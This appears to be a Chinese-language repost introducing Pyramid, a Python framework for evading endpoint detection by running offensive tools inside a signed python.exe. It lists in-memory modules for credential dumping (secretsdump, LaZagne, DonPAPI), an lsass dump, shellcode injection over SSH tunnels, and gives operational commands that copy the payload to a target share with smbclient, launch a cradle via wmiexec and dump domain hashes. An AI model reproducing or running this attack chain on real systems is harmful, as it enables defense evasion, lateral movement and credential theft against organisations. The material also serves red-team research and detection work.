1、使用了Python自带的工具包来提供合法的声誉良好的签名Python解释器; 2、Python有许多合法的应用程序,因此python.exe源码中也有很多不同的遥测技术(因为使用了本地API)。我们可以通过在Python.exe进程中执行操作,来尝试利用python.exe的遥测指纹; 3、利用了Python代码执行的审计缺少这一现状,即缺少审核功能; 4、所有的操作可以在python内部本地完成,比如说,动态导入Python模块以运行渗透测试工具,并直接在Python.exe中执行Beacon对象文件;
base-bh.py:该脚本负责在内存中导入和执行python-BloodHound; base-secretsdump.py:该脚本负责在内存中导入和执行Impacket的secretsdump模块; base-BOF-lsass.py:该脚本使用了精简版的nanodump从python.exe转储lsass; base-tunnel-inj.py:该脚本负责在一个新的线程中导入和执行paramiko来创建一个SSH本地端口转发(至一个远程SSH服务器),之后便能够在本地向python.exe中注入Shellcode; base-DonPAPI.py:该脚本负责在内存中导入和执行DonPAPI,执行结果和提取出的凭证将会存储在Python内置包目录中; base-LaZagne.py:该脚本负责在内存中导入和执行LaZagne; base-tunnel-socks5:该脚本负责在一个新的线程中导入和执行paramiko来创建一个SSH本地端口转发(至一个远程SSH服务器),接下来会在目标设备上执行一台本地Socks5代理服务器,该服务器可以通过SSH信道远程访问; base-clr:该脚本负责导入Pythonnet 并在内存中加载和执行一个.NET程序集;
git clone https://github.com/naksyn/Pyramid.git
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
(向右滑动、查看更多)
python3 PyramidHTTP.py 443 testuser Sup3rP4ss! /home/user/SSL/key.pem /home/user/SSL/cert.pem /home/user/Pyramid/Server/
(向右滑动、查看更多)
python3 PyramidHTTP.py 443 testuser Sup3rP4ss! /home/nak/projects/dev/Proxy/Pyramid/key.pem /home/nak/projects/dev/Proxy/Pyramid/cert.pem /home/nak/projects/dev/Proxy/Pyramid/Server/
(向右滑动、查看更多)
smbclient //192.168.1.11/C$ -U domain/user -c 'prompt OFF; recurse ON; lcd /home/user/Downloads/python-3.10.4-embed-amd64; cd Users\Public; mkdir python-3.10.4-embed-amd64; cd python-3.10.4-embed-amd64; mput *'
(向右滑动、查看更多)
/usr/share/doc/python3-impacket/examples/wmiexec.py domain/user:"Password1\!"@192.168.1.11 'C:\Users\Public\python-3.10.4-embed-amd64\pythonw.exe C:\Users\Public\python-3.10.4-embed-amd64\cradle.py'
(向右滑动、查看更多)
proxychains impacket-secretsdump domain/user:"Password1\!"@192.168.1.50 -just-dc
https://www.python.org/ftp/python/3.10.4/python-3.10.4-embed-amd64.zip https://www.virustotal.com/gui/file/261f682238e2dc3296038c8bd78dd01e5874e1177ebe3da2afcba35ef82d73b7 https://peps.python.org/pep-0578/ https://github.com/naksyn/talks/blob/main/DEFCON30/Diego%20Capriotti%20-%20DEFCON30%20Adversary%20Village%20-%20%20Python%20vs%20Modern%20Defenses.pdf https://www.naksyn.com/edr%20evasion/2022/09/01/operating-into-EDRs-blindspot.html https://twitter.com/snovvcrash https://github.com/SecureAuthCorp/impacket
精彩推荐